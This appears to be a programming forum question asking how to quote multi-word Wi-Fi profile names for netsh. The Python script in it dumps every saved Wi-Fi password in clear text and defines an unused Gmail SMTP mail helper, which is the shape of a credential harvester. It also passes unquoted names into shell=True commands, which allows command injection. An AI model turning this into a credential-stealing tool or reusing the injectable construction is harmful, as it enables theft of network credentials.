Using subprocess check_output to retrieve Wifi password with more than two Words name
12:04 21 Aug 2020

I need help using the Windows command: 'netsh wlan show profile "Awesome Wifi" key=clear'. I need to run this command using function check_output from module subprocess. I am fine with wifi access point having single word name, running it thus: 'netsh wlan show profile Bravo key=clear'. How do I run the command with Python for a Wi-Fi access point having more than one word name like "Awesome Wifi". This is my code:

#!/usr/bin/env python3

import subprocess
import smtplib
import re


def sendmail(email, password, message):
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()


command = 'netsh wlan show profile'
access_points = subprocess.check_output(command, shell=True)    
access_point_names_list = re.findall("(?:Profile\s*:\s)(.*)", access_points.decode())

password_dictionary = {}
for access_point in access_point_names_list:
    command = 'netsh wlan show profile ' + access_point + ' key=clear'
    command_result = subprocess.check_output(command, shell=True)
    password_dictionary[access_point] = command_result 

for password in password_dictionary:
    print(password_dictionary[password])

python subprocess passwords wifi